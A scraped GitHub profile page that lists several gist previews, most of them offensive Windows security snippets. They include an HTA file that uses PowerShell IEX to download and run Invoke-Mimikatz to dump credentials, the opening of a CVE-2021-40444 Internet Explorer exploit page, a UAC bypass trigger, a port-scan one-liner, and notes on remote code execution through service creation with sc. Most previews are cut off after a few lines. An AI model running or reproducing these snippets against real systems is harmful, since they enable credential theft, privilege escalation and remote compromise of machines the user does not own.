Skip to content

Instantly share code, notes, and snippets.

View dcgithub's full-sized avatar
💭
for those about to rock!..

dcgithub

💭
for those about to rock!..
197 followers · 1.7k following
  • None
  • Brisbane
View GitHub Profile
@r00t-3xp10it
r00t-3xp10it / ReadEmails.ps1
Last active July 21, 2023 23:44
Read Exchange Emails with PowerShell
<#
.SYNOPSIS
Read Exchange Emails with PowerShell
Author: @r00t-3xp10it
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: Outlook {native}
Optional Dependencies: none
PS cmdlet Dev version: v1.0.1
@D4stiny
D4stiny / cve202140444_ie.html
Created January 7, 2022 09:16
CVE-2021-40444 payload ported for Internet Explorer
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Expires" content="-1">
<meta http-equiv="X-UA-Compatible" content="IE=11">
</head>
<body>
<script>
var exploit_cab = "[CAB file URL]";
@natecohen
natecohen / powershell_snippets.ps1
Last active May 11, 2023 22:33
PowerShell Snippets
# Prevent this file from being executed
Exit
# Find AD username by display name
get-aduser -filter { name -like '*test*' } -properties name | select-object name, samaccountname
# Locate an RDS user session by username from a gateway
Get-RDUserSession | Where-Object { $_.UserName -like '*test*' } | Select-Object UserName, HostServer
# Locate a Citrix session by username from a delivery controller
@r00t-3xp10it
r00t-3xp10it / PingSweep.ps1
Last active July 21, 2023 23:44
Enumerate active IP Address in Lan
<#
.SYNOPSIS
Enumerate active IP Address {Local Lan}
Author: @r00t-3xp10it
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: Networkinformation.ping {native}
Optional Dependencies: Test-NetConnection {native}
PS cmdlet Dev version: v1.4.12
@r00t-3xp10it
r00t-3xp10it / CMSTPTrigger.ps1
Last active October 13, 2022 01:42
UAC Bypass POC using SendKeys! - UACBypassCMSTP.ps1 auxiliary module
<#
.SYNOPSIS
CmdLet to loop UACBypassCMSTP.ps1 execution!
Author: @r00t-3xp10it
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: UACBypassCMSTP.ps1 {auto}
Optional Dependencies: none
PS cmdlet Dev version: v1.1.5
@aaaddress1
aaaddress1 / invokeMimikatz.hta
Created December 16, 2021 08:08
invokeMimikatz.hta
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
@r00t-3xp10it
r00t-3xp10it / Lnk-Sweeper.ps1
Last active March 23, 2025 21:13
Manage windows shortcut (.LNK) artifact files.
<#
.SYNOPSIS
Manage windows shortcut (.LNK) artifacts.
Author: @r00t-3xp10it
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: none
Optional Dependencies: lnk_parser_cmd.exe {auto-download}
PS cmdlet Dev version: v3.4.18
@rhom6us
rhom6us / Winlogon_Startup.hta
Created December 5, 2021 20:39
change window default shell to this
<html>
<head>
<title>IT Tasks for Users</title>
<HTA:APPLICATION
APPLICATIONNAME="IT Tasks for Users"
ID="IT Tasks for Users"
VERSION="1.0"/>
<STYLE></STYLE>
@ffcommax
ffcommax / Simple_Port_scanner.ps1
Created December 4, 2021 18:07
Simple_Port_scanner
1..255 | % { $a = $_; 135,389,3389,445,5986 | % {"10.0.61.$a";echo ((new-object Net.Sockets.TcpClient).Connect("10.0.61.$a",$_)) "Port $_ is open!"} 2>$null}
@ffcommax
ffcommax / Authenticated Remote Code Execution Methods in Windows.txt
Created December 4, 2021 18:07
Authenticated Remote Code Execution Methods in Windows
1. Service Control Manager (SCM)
This method is used by psexec and all of its clones to start the executable that psexec creates.
Result:
A command to be run on demand and/or boot as SYSTEM (or less privileged accounts, but why would you do that?).
Example:
step 1/2; a new service can be created:
sc REMOTECOMPUTERNAME create myservicename binPath= executableToRun start= auto
alternatively, an existing service can be reconfigured:
sc REMOTECOMPUTERNAME config existingservice binPath= executableToRun start= auto
step 2/2; executableToRun will run on the remote system on boot as SYSTEM, or when instructed by: